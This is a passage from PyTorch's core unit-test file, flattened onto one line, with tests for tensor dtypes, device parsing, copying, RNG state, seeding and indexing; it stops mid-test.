# -*- coding: utf-8 -*- import torch import torch.utils.data import numpy as np import contextlib import gc import io import inspect import itertools import math import random import re import copy import os import tempfile import unittest import warnings import types import pickle import textwrap import subprocess import weakref import sys from torch.utils.dlpack import from_dlpack, to_dlpack from torch._six import inf, nan, string_classes from itertools import product, combinations, permutations from functools import partial from torch import multiprocessing as mp from torch.testing import make_tensor from torch.testing._internal.common_utils import ( TestCase, TEST_WITH_ROCM, run_tests, IS_WINDOWS, IS_FILESYSTEM_UTF8_ENCODING, NO_MULTIPROCESSING_SPAWN, do_test_dtypes, IS_SANDCASTLE, IS_FBCODE, IS_REMOTE_GPU, load_tests, slowTest, skipCUDAMemoryLeakCheckIf, BytesIOContext, noarchTest, skipIfRocm, skipIfNoSciPy, TemporaryFileName, TemporaryDirectoryName, wrapDeterministicFlagAPITest, DeterministicGuard, CudaSyncGuard) from multiprocessing.reduction import ForkingPickler from torch.testing._internal.common_device_type import ( instantiate_device_type_tests, skipCUDAVersionIn, onlyCUDA, onlyCPU, dtypes, dtypesIfCUDA, dtypesIfCPU, deviceCountAtLeast, skipMeta, PYTORCH_CUDA_MEMCHECK, largeTensorTest, onlyOnCPUAndCUDA, expectedAlertNondeterministic) from typing import Dict, List, Tuple import torch.backends.quantized import torch.testing._internal.data from torch.testing._internal.common_cuda import tf32_on_and_off, tf32_is_not_fp32 from torch.testing._internal.common_dtype import ( get_all_fp_dtypes, get_all_int_dtypes, get_all_math_dtypes, get_all_dtypes, get_all_complex_dtypes ) # Protects against includes accidentally setting the default dtype assert torch.get_default_dtype() is torch.float32 # load_tests from torch.testing._internal.common_utils is used to automatically filter tests for # sharding on sandcastle. This line silences flake warnings load_tests = load_tests AMPERE_OR_ROCM = TEST_WITH_ROCM or tf32_is_not_fp32() # Wrap base test class into a class to hide it from testing # See https://stackoverflow.com/a/25695512 class AbstractTestCases: # This is intentionally prefixed by an underscore. Otherwise pytest will try to # run its methods as test cases. class _TestTorchMixin(TestCase): def _make_tensors(self, shape, val_range=(-100, 100), use_floating=True, use_integral=True, use_complex=False) -> Dict[str, List[torch.Tensor]]: float_types = [torch.double, torch.float] int_types = [torch.int64, torch.int32, torch.int16] complex_types = [torch.complex64, torch.complex128] def make_contiguous(shape, dtype) -> torch.Tensor: if dtype in float_types: val = torch.randn(shape, dtype=dtype) val = val * ((val_range[1] - val_range[0]) / (math.pi * 2.0)) val = val + ((val_range[1] - val_range[0]) / 2.0) val = torch.clamp(val, min=val_range[0], max=val_range[1]) return val result = torch.zeros(shape, dtype=dtype) result.apply_(lambda x: random.randint(val_range[0], val_range[1])) return result def make_non_contiguous(shape, dtype) -> torch.Tensor: contig = make_contiguous(shape, dtype) non_contig = torch.empty(shape + (2, 2), dtype=dtype)[..., 0] non_contig = non_contig.select(-1, -1) non_contig.copy_(contig) self.assertFalse(non_contig.is_contiguous()) return non_contig def make_contiguous_slice(size, dtype) -> torch.Tensor: contig = make_contiguous((1, size), dtype) non_contig = contig[:1, 1:size - 1] self.assertTrue(non_contig.is_contiguous()) return contig types = [] if use_floating: types += float_types if use_integral: types += int_types if use_complex: types += complex_types tensors: Dict[str, List[torch.Tensor]] = {"cont": [], "noncont": [], "slice": []} for dtype in types: tensors["cont"].append(make_contiguous(shape, dtype)) tensors["noncont"].append(make_non_contiguous(shape, dtype)) tensors["slice"].append(make_contiguous_slice(sum(list(shape)), dtype)) return tensors def test_dir(self): dir(torch) @wrapDeterministicFlagAPITest def test_deterministic_flag(self): for deterministic in [True, False]: torch.use_deterministic_algorithms(deterministic) self.assertEqual(deterministic, torch.are_deterministic_algorithms_enabled()) with self.assertRaisesRegex(RuntimeError, r"use_deterministic_algorithms expects a bool, but got int"): torch.use_deterministic_algorithms(1) def test_type_conversion_via_dtype_name(self): x = torch.tensor([1]) self.assertEqual(x.byte().dtype, torch.uint8) self.assertEqual(x.bool().dtype, torch.bool) self.assertEqual(x.char().dtype, torch.int8) self.assertEqual(x.double().dtype, torch.float64) self.assertEqual(x.float().dtype, torch.float32) self.assertEqual(x.half().dtype, torch.float16) self.assertEqual(x.int().dtype, torch.int32) self.assertEqual(x.bfloat16().dtype, torch.bfloat16) cfloat = x.cfloat() self.assertEqual(cfloat.dtype, torch.complex64) self.assertEqual(cfloat.real, x.float()) self.assertEqual(cfloat.imag, torch.zeros_like(cfloat.imag)) cdouble = x.cdouble() self.assertEqual(cdouble.dtype, torch.complex128) self.assertEqual(cdouble.real, x.double()) self.assertEqual(cdouble.imag, torch.zeros_like(cdouble.imag)) def test_doc_template(self) -> None: from torch._torch_docs import __file__ as doc_file from torch._torch_docs import multi_dim_common, single_dim_common, factory_common_args, factory_like_common_args with open(doc_file, "r", encoding="utf-8") as f: doc_strs = f.read() for doc_str in re.findall(r'add_docstr\((.*?),.*?("""|\'\'\')(.*?)("""|\'\'\')\)', doc_strs, re.MULTILINE | re.DOTALL): for common_args in [multi_dim_common, single_dim_common, factory_common_args, factory_like_common_args]: for k, v in common_args.items(): self.assertNotIn(v, doc_str[2], 'The argument description "{}" in {} can be ' 'replaced by {{{}}}'.format(v, doc_str[0], k)) def test_doc(self): checked_types = (types.MethodType, types.FunctionType, types.BuiltinFunctionType, types.BuiltinMethodType) def test_namespace(ns, *skips): if isinstance(ns, object): ns_name = ns.__class__.__name__ else: ns_name = ns.__name__ skip_regexes = [] for r in skips: if isinstance(r, string_classes): skip_regexes.append(re.compile('^{}$'.format(re.escape(r)))) else: skip_regexes.append(r) for name in dir(ns): if name.startswith('_'): continue if name in ['real', 'imag']: y = torch.randn(1, dtype=torch.cfloat) var = getattr(y, name) else: var = getattr(ns, name) if not isinstance(var, checked_types): continue doc = var.__doc__ has_doc = doc is not None and len(doc.strip()) > 0 full_name = ns_name + '.' + name if any(r.match(name) for r in skip_regexes): self.assertFalse(has_doc, 'New docs have been added for {}, please remove ' 'it from the skipped list in TestTorch.test_doc'.format(full_name)) else: self.assertTrue(has_doc, '{} is missing documentation'.format(full_name)) # FIXME: All of the following should be marked as expected failures # so that it is easier to tell when missing has been added. # FIXME: fix all the skipped ones below! test_namespace(torch.randn(1), 'as_strided_', re.compile('^clamp_(min|max)_?$'), 'is_distributed', 'is_nonzero', 'is_same_size', 'log_softmax', 'map2_', 'new', 'reinforce', 'relu', 'relu_', 'prelu', 'resize', 'resize_as', 'softmax', 'split_with_sizes', 'unsafe_split_with_sizes', ) test_namespace(torch.nn) test_namespace(torch.nn.functional, 'assert_int_or_pair') # TODO: add torch.* tests when we have proper namespacing on ATen functions # test_namespace(torch) def test_ort_error(self): with self.assertRaisesRegex(RuntimeError, "Could not run 'aten::empty.memory_format' with arguments from the 'ORT' backend"): torch.zeros(1, device=torch.device('ort')) def test_has_storage(self): self.assertIsNotNone(torch.tensor([]).storage()) self.assertIsNotNone(torch.empty(0).storage()) self.assertIsNotNone(torch.tensor([]).clone().storage()) self.assertIsNotNone(torch.tensor([0, 0, 0]).nonzero().storage()) self.assertIsNotNone(torch.tensor([]).new().storage()) def test_where_invalid_device(self): if torch.cuda.is_available(): for devices in [('cpu', 'cuda', 'cuda'), ('cuda', 'cpu', 'cpu'), ('cuda', 'cpu', 'cuda'), ('cpu', 'cuda', 'cpu')]: condition = torch.rand(16, device=devices[0]) x = torch.rand(16, device=devices[1]) y = torch.rand(16, device=devices[2]) with self.assertRaisesRegex(RuntimeError, "Expected condition, x and y to be on the same device"): torch.where(condition, x, y) def test_where_bool_tensor(self): for d in torch.testing.get_all_device_types(): a = torch.tensor([True, False], device=d) res = torch.where(a > 0) self.assertEqual(1, len(res)) def test_where_tensor(self): def rand_tensor(size, dtype, device): if dtype.is_floating_point or dtype.is_complex: return torch.rand(size=size, dtype=dtype, device=device) elif dtype == torch.uint8: return torch.randint(1, 5, size=size, dtype=dtype, device=device) elif dtype == torch.bool: return torch.randint(0, 1, size=size, dtype=dtype, device=device).bool() else: return torch.randint(-5, 5, size=size, dtype=dtype, device=device) def get_tensor(size, dtype, device, contiguous): if not contiguous and len(size) < 2: raise RuntimeError("Unable to generate non contiguous tensor with size < 2") t = rand_tensor(size, dtype, device) if contiguous: return t else: return t.transpose(0, 1) height = 5 width = 5 for device in torch.testing.get_all_device_types(): for dt1 in get_all_dtypes(): for dt2 in get_all_dtypes(): for contiguous in [True, False]: x1 = get_tensor((height, width), dt1, device, contiguous) x2 = get_tensor((height, width), dt2, device, contiguous) if dt1 != dt2: self.assertRaisesRegex(RuntimeError, "expected scalar type", lambda: torch.where(x1 == 1, x1, x2)) else: if x1.is_floating_point(): condition = (x1 < 0.5) elif x1.is_complex(): condition = (x1.abs() < 0.5) else: condition = (x1 == 1) expected = condition.to(x1.dtype) * x1 + (~condition).to(x2.dtype) * x2 result = torch.where(condition, x1, x2) self.assertEqual(expected, result) def test_dtypes(self): all_dtypes = get_all_dtypes() do_test_dtypes(self, all_dtypes, torch.strided, torch.device('cpu')) if torch.cuda.is_available(): all_dtypes.remove(torch.bfloat16) # Remove once _th_zero_ is enabled on cuda for bfloat16 do_test_dtypes(self, all_dtypes, torch.strided, torch.device('cuda:0')) def test_copy_dtypes(self): all_dtypes = get_all_dtypes() for dtype in all_dtypes: copied_dtype = copy.deepcopy(dtype) self.assertIs(dtype, copied_dtype) def test_copy_transpose(self): x = torch.arange(100 * 100, dtype=torch.float).reshape(100, 100).t() y = torch.empty(100, 100, dtype=torch.float) y.copy_(x) self.assertEqual(y[:, 0], range(100)) self.assertEqual(y[:, 40], range(4000, 4100)) y = torch.empty(100, 100, dtype=torch.double) y.copy_(x) self.assertEqual(y[:, 0], range(100)) self.assertEqual(y[:, 40], range(4000, 4100)) # Validates regression reported in https://github.com/pytorch/pytorch/issues/45269 x = torch.arange(100 * 100).reshape(100, 100).to(dtype=torch.cfloat).t() y = torch.empty(100, 100, dtype=torch.cfloat) y.copy_(x) self.assertEqual(y[:, 0], range(100)) self.assertEqual(y[:, 40], range(4000, 4100)) # Verifies the bugfix for https://github.com/pytorch/pytorch/issues/64358 def test_copy_transpose_2d_broadcast(self): # The shape (60, 60) is chosen because of # `MIN_SZ = 60 * 60` in `copy_transpose_valid` from aten/src/ATen/native/Copy.cpp A = torch.randn(60, 60) A.copy_(torch.tensor([[1.]])) self.assertEqual(A, torch.ones(60, 60)) def test_device(self): cpu = torch.device('cpu') self.assertEqual('cpu', str(cpu)) self.assertEqual('cpu', cpu.type) self.assertEqual(None, cpu.index) cpu0 = torch.device('cpu:0') self.assertEqual('cpu:0', str(cpu0)) self.assertEqual('cpu', cpu0.type) self.assertEqual(0, cpu0.index) cpu0 = torch.device('cpu', 0) self.assertEqual('cpu:0', str(cpu0)) self.assertEqual('cpu', cpu0.type) self.assertEqual(0, cpu0.index) cuda = torch.device('cuda') self.assertEqual('cuda', str(cuda)) self.assertEqual('cuda', cuda.type) self.assertEqual(None, cuda.index) cuda1 = torch.device('cuda:1') self.assertEqual('cuda:1', str(cuda1)) self.assertEqual('cuda', cuda1.type) self.assertEqual(1, cuda1.index) cuda1 = torch.device('cuda', 1) self.assertEqual('cuda:1', str(cuda1)) self.assertEqual('cuda', cuda1.type) self.assertEqual(1, cuda1.index) cuda90 = torch.device('cuda', 90) self.assertEqual('cuda:90', str(cuda90)) self.assertEqual('cuda', cuda90.type) self.assertEqual(90, cuda90.index) self.assertRaises(RuntimeError, lambda: torch.device('cpu:-1')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:-1')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2 ')) self.assertRaises(RuntimeError, lambda: torch.device('cuda: 2')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2 2')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2.')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2?')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:?2')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2.232')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2 cuda:3')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2+cuda:3')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2cuda:3')) self.assertRaises(RuntimeError, lambda: torch.device(-1)) self.assertRaises(RuntimeError, lambda: torch.device('other')) self.assertRaises(RuntimeError, lambda: torch.device('other:0')) device_set = {'cpu', 'cpu:0', 'cuda', 'cuda:0', 'cuda:1', 'cuda:10', 'cuda:100'} device_hash_set = set() for device in list(device_set): device_hash_set.add(hash(torch.device(device))) self.assertEqual(len(device_set), len(device_hash_set)) def get_expected_device_repr(device): if device.index is not None: return "device(type='{type}', index={index})".format( type=device.type, index=device.index) return "device(type='{type}')".format(type=device.type) for device in device_set: dev = torch.device(device) self.assertEqual(repr(dev), get_expected_device_repr(dev)) def test_to(self): def test_copy_behavior(t, non_blocking=False): self.assertIs(t, t.to(t, non_blocking=non_blocking)) self.assertIs(t, t.to(t.dtype, non_blocking=non_blocking)) self.assertIs(t, t.to(torch.empty_like(t), non_blocking=non_blocking)) self.assertIsNot(t, t.to(t, non_blocking=non_blocking, copy=True)) self.assertIsNot(t, t.to(t.dtype, non_blocking=non_blocking, copy=True)) self.assertIsNot(t, t.to(torch.empty_like(t), non_blocking=non_blocking, copy=True)) devices = [t.device] if t.device.type == 'cuda': if t.device.index == -1: devices.append('cuda:{}'.format(torch.cuda.current_device())) elif t.device.index == torch.cuda.current_device(): devices.append('cuda') for device in devices: self.assertIs(t, t.to(device, non_blocking=non_blocking)) self.assertIs(t, t.to(device, t.dtype, non_blocking=non_blocking)) self.assertIsNot(t, t.to(device, non_blocking=non_blocking, copy=True)) self.assertIsNot(t, t.to(device, t.dtype, non_blocking=non_blocking, copy=True)) a = torch.tensor(5) test_copy_behavior(a) self.assertEqual(a.device, a.to('cpu').device) self.assertEqual(a.device, a.to('cpu', dtype=torch.float32).device) self.assertIs(torch.float32, a.to('cpu', dtype=torch.float32).dtype) self.assertEqual(a.device, a.to(torch.float32).device) self.assertIs(torch.float32, a.to(dtype=torch.float32).dtype) self.assertEqual(a.data_ptr(), a.to('cpu').data_ptr()) self.assertEqual(a.data_ptr(), a.to(dtype=a.dtype, device=a.device, copy=False).data_ptr()) self.assertEqual(a.data_ptr(), a.to('cpu', copy=False).data_ptr()) self.assertNotEqual(a.data_ptr(), a.to('cpu', copy=True).data_ptr()) if torch.cuda.is_available(): for non_blocking in [True, False]: for cuda in ['cuda', 'cuda:0' if torch.cuda.device_count() == 1 else 'cuda:1']: b = torch.tensor(5., device=cuda) test_copy_behavior(b, non_blocking) self.assertEqual(b.device, b.to(cuda, non_blocking=non_blocking).device) self.assertEqual(a.device, b.to('cpu', non_blocking=non_blocking).device) self.assertEqual(b.device, a.to(cuda, non_blocking=non_blocking).device) self.assertIs(torch.int32, b.to('cpu', dtype=torch.int32, non_blocking=non_blocking).dtype) self.assertEqual(a.device, b.to('cpu', dtype=torch.int32, non_blocking=non_blocking).device) self.assertIs(torch.int32, b.to(dtype=torch.int32).dtype) self.assertEqual(b.device, b.to(dtype=torch.int32).device) def test_to_with_tensor(self): a = torch.tensor(5) self.assertEqual(a.device, a.to(a).device) if torch.cuda.is_available(): for non_blocking in [True, False]: for cuda in ['cuda', 'cuda:0' if torch.cuda.device_count() == 1 else 'cuda:1']: b = torch.tensor(5., device=cuda) self.assertEqual(b.device, b.to(b, non_blocking=non_blocking).device) self.assertEqual(a.device, b.to(a, non_blocking=non_blocking).device) self.assertEqual(b.device, a.to(b, non_blocking=non_blocking).device) def test_as_subclass(self): class SubTensor(torch.Tensor): member_var = object() t0 = torch.tensor(0) t1 = torch.tensor([1, 2]) t2 = torch.tensor([[3, 4], [5, 6]]) s0 = t0.as_subclass(SubTensor) s1 = t1.as_subclass(SubTensor) s2 = t2.as_subclass(SubTensor) # Check that the correct type is returned. self.assertTrue(type(s0) is SubTensor) self.assertTrue(type(s1) is SubTensor) self.assertTrue(type(s2) is SubTensor) # Check that the data is equal. self.assertEqual(t0, s0) self.assertEqual(t1, s1) self.assertEqual(t2, s2) t0[()] = 1 t1[1] = 3 t2[1, 1] = 7 # Check that the data is equal even after modification. self.assertEqual(t0, s0) self.assertEqual(t1, s1) self.assertEqual(t2, s2) # Check that member variables are passed through. self.assertTrue(s0.member_var is SubTensor.member_var) self.assertTrue(s1.member_var is SubTensor.member_var) self.assertTrue(s2.member_var is SubTensor.member_var) # Test that autograd is propagated. t = torch.tensor(5, dtype=torch.float32, requires_grad=True) # Run a calculation on the tensor. exp_t = torch.exp(t) # Cast exp_t to a subclass. exp_s = exp_t.as_subclass(SubTensor) # Make sure that t.grad was initially None self.assertTrue(t.grad is None) # Run the autograd calculation. exp_s.backward() # Make sure autograd was propagated to the original tensor # declared with requires_grad. self.assertTrue(t.grad is not None) # Make sure invalid subclasses raise nice errors class BadSubTensor(): member_var = object() err_msg = "Creating a Tensor subclass from a class that does not inherit from Tensor" with self.assertRaisesRegex(RuntimeError, err_msg): s0 = t0.as_subclass(BadSubTensor) def test_type(self): x = torch.randn(3, 3).double() self.assertEqual(x.type('torch.FloatTensor').dtype, torch.float32) self.assertEqual(x.type(torch.FloatTensor).dtype, torch.float32) self.assertEqual(x.int().type(torch.Tensor).dtype, torch.get_default_dtype()) self.assertEqual(x.type(torch.int32).dtype, torch.int32) def test_qengine(self): qengines = torch.backends.quantized.supported_engines original_qe = torch.backends.quantized.engine for qe in qengines: torch.backends.quantized.engine = qe assert torch.backends.quantized.engine == qe, 'qengine not set successfully' torch.backends.quantized.engine = original_qe def _spawn_method(self, method, arg): try: mp.set_start_method('spawn') except RuntimeError: pass with mp.Pool(1) as pool: out: list = pool.map(method, [arg]) self.assertTrue(out[0]) @staticmethod def _test_multinomial_invalid_probs(probs): try: # n_sample = 1 is a special case, test n_sample=2 which is more general torch.multinomial(probs.to('cpu'), 2) return False # Should not be reached except RuntimeError as e: return 'probability tensor contains either `inf`, `nan` or element < 0' in str(e) @slowTest @unittest.skipIf(NO_MULTIPROCESSING_SPAWN, "Disabled for environments that \ don't support multiprocessing with spawn start method") @unittest.skipIf(IS_WINDOWS, 'FIXME: CUDA OOM error on Windows') def test_multinomial_invalid_probs(self): test_method = AbstractTestCases._TestTorchMixin._test_multinomial_invalid_probs self._spawn_method(test_method, torch.tensor([1., -1., 1.])) self._spawn_method(test_method, torch.tensor([1., inf, 1.])) self._spawn_method(test_method, torch.tensor([1., -inf, 1.])) self._spawn_method(test_method, torch.tensor([1., 1., nan])) def test_copy_broadcast(self): torch.zeros(5, 6).copy_(torch.zeros(6)) self.assertRaises(RuntimeError, lambda: torch.zeros(5, 6).copy_(torch.zeros(30))) def test_copy_many_to_one(self): # Testing in-place copy where it attempt to write from many memory # storage to a single storage would cause RuntimeError to be thrown self.assertRaises(RuntimeError, lambda: torch.zeros(1, 6).expand(5, 6).copy_(torch.zeros(5, 6))) def test_slice(self): empty = torch.empty(0, 4) x = torch.arange(0., 16).view(4, 4) self.assertEqual(x[:], x) self.assertEqual(x[:4], x) # start and stop are clamped to the size of dim self.assertEqual(x[:5], x) # if start >= stop then the result is empty self.assertEqual(x[2:1], empty) self.assertEqual(x[2:2], empty) # out of bounds is also empty self.assertEqual(x[10:12], empty) # additional correctness checks self.assertEqual(x[:1].tolist(), [[0, 1, 2, 3]]) self.assertEqual(x[:-3].tolist(), [[0, 1, 2, 3]]) self.assertEqual(x[:, -2:3].tolist(), [[2], [6], [10], [14]]) self.assertEqual(x[0:-1:2].tolist(), [[0, 1, 2, 3], [8, 9, 10, 11]]) @unittest.skip("Not implemented yet") def test_conv2(self): x = torch.rand(math.floor(torch.uniform(50, 100)), math.floor(torch.uniform(50, 100))) k = torch.rand(math.floor(torch.uniform(10, 20)), math.floor(torch.uniform(10, 20))) imvc = torch.conv2(x, k) imvc2 = torch.conv2(x, k, 'V') imfc = torch.conv2(x, k, 'F') ki = k.clone() ks = k.storage() kis = ki.storage() for i in range(ks.size() - 1, 0, -1): kis[ks.size() - i + 1] = ks[i] # for i=ks.size(), 1, -1 do kis[ks.size()-i+1]=ks[i] end imvx = torch.xcorr2(x, ki) imvx2 = torch.xcorr2(x, ki, 'V') imfx = torch.xcorr2(x, ki, 'F') self.assertEqual(imvc, imvc2, atol=0, rtol=0, msg='torch.conv2') self.assertEqual(imvc, imvx, atol=0, rtol=0, msg='torch.conv2') self.assertEqual(imvc, imvx2, atol=0, rtol=0, msg='torch.conv2') self.assertEqual(imfc, imfx, atol=0, rtol=0, msg='torch.conv2') self.assertLessEqual(math.abs(x.dot(x) - torch.xcorr2(x, x)[0][0]), 1e-10, 'torch.conv2') xx = torch.empty(2, x.size(1), x.size(2)) xx[1].copy_(x) xx[2].copy_(x) kk = torch.empty(2, k.size(1), k.size(2)) kk[1].copy_(k) kk[2].copy_(k) immvc = torch.conv2(xx, kk) immvc2 = torch.conv2(xx, kk, 'V') immfc = torch.conv2(xx, kk, 'F') self.assertEqual(immvc[0], immvc[1], atol=0, rtol=0, msg='torch.conv2') self.assertEqual(immvc[0], imvc, atol=0, rtol=0, msg='torch.conv2') self.assertEqual(immvc2[0], imvc2, atol=0, rtol=0, msg='torch.conv2') self.assertEqual(immfc[0], immfc[1], atol=0, rtol=0, msg='torch.conv2') self.assertEqual(immfc[0], imfc, atol=0, rtol=0, msg='torch.conv2') @unittest.skip("Not implemented yet") def test_conv3(self): x = torch.rand(math.floor(torch.uniform(20, 40)), math.floor(torch.uniform(20, 40)), math.floor(torch.uniform(20, 40))) k = torch.rand(math.floor(torch.uniform(5, 10)), math.floor(torch.uniform(5, 10)), math.floor(torch.uniform(5, 10))) imvc = torch.conv3(x, k) imvc2 = torch.conv3(x, k, 'V') imfc = torch.conv3(x, k, 'F') ki = k.clone() ks = k.storage() kis = ki.storage() for i in range(ks.size() - 1, 0, -1): kis[ks.size() - i + 1] = ks[i] imvx = torch.xcorr3(x, ki) imvx2 = torch.xcorr3(x, ki, 'V') imfx = torch.xcorr3(x, ki, 'F') self.assertEqual(imvc, imvc2, atol=0, rtol=0, msg='torch.conv3') self.assertEqual(imvc, imvx, atol=0, rtol=0, msg='torch.conv3') self.assertEqual(imvc, imvx2, atol=0, rtol=0, msg='torch.conv3') self.assertEqual(imfc, imfx, atol=0, rtol=0, msg='torch.conv3') self.assertLessEqual(math.abs(x.dot(x) - torch.xcorr3(x, x)[0][0][0]), 4e-10, 'torch.conv3') xx = torch.empty(2, x.size(1), x.size(2), x.size(3)) xx[1].copy_(x) xx[2].copy_(x) kk = torch.empty(2, k.size(1), k.size(2), k.size(3)) kk[1].copy_(k) kk[2].copy_(k) immvc = torch.conv3(xx, kk) immvc2 = torch.conv3(xx, kk, 'V') immfc = torch.conv3(xx, kk, 'F') self.assertEqual(immvc[0], immvc[1], atol=0, rtol=0, msg='torch.conv3') self.assertEqual(immvc[0], imvc, atol=0, rtol=0, msg='torch.conv3') self.assertEqual(immvc2[0], imvc2, atol=0, rtol=0, msg='torch.conv3') self.assertEqual(immfc[0], immfc[1], atol=0, rtol=0, msg='torch.conv3') self.assertEqual(immfc[0], imfc, atol=0, rtol=0, msg='torch.conv3') @unittest.skip("Not implemented yet") def _test_conv_corr_eq(self, fn, fn_2_to_3): ix = math.floor(random.randint(20, 40)) iy = math.floor(random.randint(20, 40)) iz = math.floor(random.randint(20, 40)) kx = math.floor(random.randint(5, 10)) ky = math.floor(random.randint(5, 10)) kz = math.floor(random.randint(5, 10)) x = torch.rand(ix, iy, iz) k = torch.rand(kx, ky, kz) o3 = fn(x, k) o32 = torch.zeros(o3.size()) fn_2_to_3(x, k, o3, o32) self.assertEqual(o3, o32) @unittest.skip("Not implemented yet") def test_xcorr3_xcorr2_eq(self): def reference(x, k, o3, o32): for i in range(o3.size(1)): for j in range(k.size(1)): o32[i].add(torch.xcorr2(x[i + j - 1], k[j])) self._test_conv_corr_eq(torch.xcorr3, reference) @unittest.skip("Not implemented yet") def test_xcorr3_xcorr2_eq_full(self): def reference(x, k, o3, o32): for i in range(x.size(1)): for j in range(k.size(1)): o32[i].add(torch.xcorr2(x[i], k[k.size(1) - j + 1], 'F')) self._test_conv_corr_eq(lambda x, k: torch.xcorr3(x, k, 'F'), reference) @unittest.skip("Not implemented yet") def test_conv3_conv2_eq_valid(self): def reference(x, k, o3, o32): for i in range(o3.size(1)): for j in range(k.size(1)): o32[i].add(torch.conv2(x[i + j - 1], k[k.size(1) - j + 1])) self._test_conv_corr_eq(torch.conv3, reference) @unittest.skip("Not implemented yet") def test_fconv3_fconv2_eq(self): def reference(x, k, o3, o32): for i in range(o3.size(1)): for j in range(k.size(1)): o32[i + j - 1].add(torch.conv2(x[i], k[j], 'F')) self._test_conv_corr_eq(lambda x, k: torch.conv3(x, k, 'F'), reference) def test_dtype_is_signed(self): for dtype in get_all_dtypes(): self.assertEqual(dtype.is_signed, torch.is_signed(torch.tensor(0, dtype=dtype))) self.assertRaisesRegex(RuntimeError, 'not supported for quantized', lambda: torch.quint8.is_signed) self.assertRaisesRegex(RuntimeError, 'not supported for quantized', lambda: torch.qint8.is_signed) self.assertRaisesRegex(RuntimeError, 'not supported for quantized', lambda: torch.qint32.is_signed) def test_RNGState(self): state = torch.get_rng_state() stateCloned = state.clone() before = torch.rand(1000) self.assertEqual(state.ne(stateCloned).long().sum(), 0, atol=0, rtol=0) torch.set_rng_state(state) after = torch.rand(1000) self.assertEqual(before, after, atol=0, rtol=0) def test_RNGStateAliasing(self): # Fork the random number stream at this point gen = torch.Generator() gen.set_state(torch.get_rng_state()) self.assertEqual(gen.get_state(), torch.get_rng_state()) target_value = torch.rand(1000) # Dramatically alter the internal state of the main generator _ = torch.rand(100000) forked_value = torch.rand(1000, generator=gen) self.assertEqual(target_value, forked_value, atol=0, rtol=0, msg="RNG has not forked correctly.") def test_RNG_after_pickle(self): torch.random.manual_seed(100) before = torch.rand(10) torch.random.manual_seed(100) buf = io.BytesIO() tensor = torch.tensor([1, 2, 3]) ForkingPickler(buf, pickle.HIGHEST_PROTOCOL).dump(tensor) after = torch.rand(10) self.assertEqual(before, after, atol=0, rtol=0) def test_boxMullerState(self): torch.manual_seed(123) odd_number = 101 seeded = torch.randn(odd_number) state = torch.get_rng_state() midstream = torch.randn(odd_number) torch.set_rng_state(state) repeat_midstream = torch.randn(odd_number) torch.manual_seed(123) reseeded = torch.randn(odd_number) self.assertEqual(midstream, repeat_midstream, atol=0, rtol=0, msg='get_rng_state/set_rng_state not generating same sequence of normally distributed numbers') self.assertEqual(seeded, reseeded, atol=0, rtol=0, msg='repeated calls to manual_seed not generating same sequence of normally distributed numbers') def test_manual_seed(self): rng_state = torch.get_rng_state() torch.manual_seed(2) x = torch.randn(100) self.assertEqual(torch.initial_seed(), 2) torch.manual_seed(2) y = torch.randn(100) self.assertEqual(x, y) max_int64 = 0x7fff_ffff_ffff_ffff min_int64 = -max_int64 - 1 max_uint64 = 0xffff_ffff_ffff_ffff # Check all boundary cases of valid seed value inputs test_cases = [ # (seed, expected_initial_seed) # Positive seeds should be unchanged (max_int64, max_int64), (max_int64 + 1, max_int64 + 1), (max_uint64, max_uint64), (0, 0), # Negative seeds wrap around starting from the largest seed value (-1, max_uint64), (min_int64, max_int64 + 1) ] for seed, expected_initial_seed in test_cases: torch.manual_seed(seed) actual_initial_seed = torch.initial_seed() msg = "expected initial_seed() = %x after calling manual_seed(%x), but got %x instead" % ( expected_initial_seed, seed, actual_initial_seed) self.assertEqual(expected_initial_seed, actual_initial_seed, msg=msg) for invalid_seed in [min_int64 - 1, max_uint64 + 1]: with self.assertRaisesRegex(RuntimeError, r'Overflow when unpacking long'): torch.manual_seed(invalid_seed) torch.set_rng_state(rng_state) def test_numel(self): b = torch.ByteTensor(3, 100, 100) self.assertEqual(b.nelement(), 3 * 100 * 100) self.assertEqual(b.numel(), 3 * 100 * 100) def test_empty_storage_view(self): # we should be able to "modify" slices of a 0-element # array without an error being raised due to # trying to resize its storage t = torch.from_numpy(np.empty((0, 4))) t[:, 1::2] *= 1 def test_newaxis_numpy_comparison(self): def run_test(tensor, *idx): npt = tensor.numpy() self.assertEqual(tensor[idx], npt[idx]) # 1D Tensor Tests x = torch.arange(0, 10) cases = [ [None], [None, None], [Ellipsis, None], [None, Ellipsis], [2, None], [None, 2], [Ellipsis, None, 2], [Ellipsis, 2, None], [2, Ellipsis, None], [2, None, Ellipsis], [None, 2, Ellipsis], [None, Ellipsis, 2], ] for case in cases: run_test(x, *case) # 2D Tensor Tests x = torch.arange(0, 12).view(3, 4) cases = [ [None], [None, None], [None, None, None], [Ellipsis, None], [Ellipsis, None, None], [None, Ellipsis], [None, Ellipsis, None], [None, None, Ellipsis], [2, None], [2, None, Ellipsis], [2, Ellipsis, None], [None, 2, Ellipsis], [Ellipsis, 2, None], [Ellipsis, None, 2], [None, Ellipsis, 2], [1, 2, None], [1, 2, Ellipsis, None], [1, Ellipsis, 2, None], [Ellipsis, 1, None, 2], [Ellipsis, 1, 2, None], [1, None, 2, Ellipsis], [None, 1, Ellipsis, 2], [None, 1, 2, Ellipsis], ] for case in cases: run_test(x, *case) def _consecutive(self, size, start=1): sequence = torch.ones(torch.tensor(size).prod(0)).cumsum(0) sequence.add_(start - 1) return sequence.resize_(*size) def test_newindex(self): reference = self._consecutive((3, 3, 3)) # This relies on __index__() being correct - but we have separate tests for that def checkPartialAssign(index): reference = torch.zeros(3, 3, 3) reference[index] = self._consecutive((3, 3, 3))[index] self.assertEqual(reference[index], self._consecutive((3, 3, 3))[index], atol=0, rtol=0) reference[index] = 0 self.assertEqual(reference, torch.zeros(3, 3, 3), atol=0, rtol=0) checkPartialAssign(0) checkPartialAssign(1) checkPartialAssign(2) checkPartialAssign((0, 1)) checkPartialAssign((1, 2)) checkPartialAssign((0, 2)) checkPartialAssign(torch.LongTensor((0, 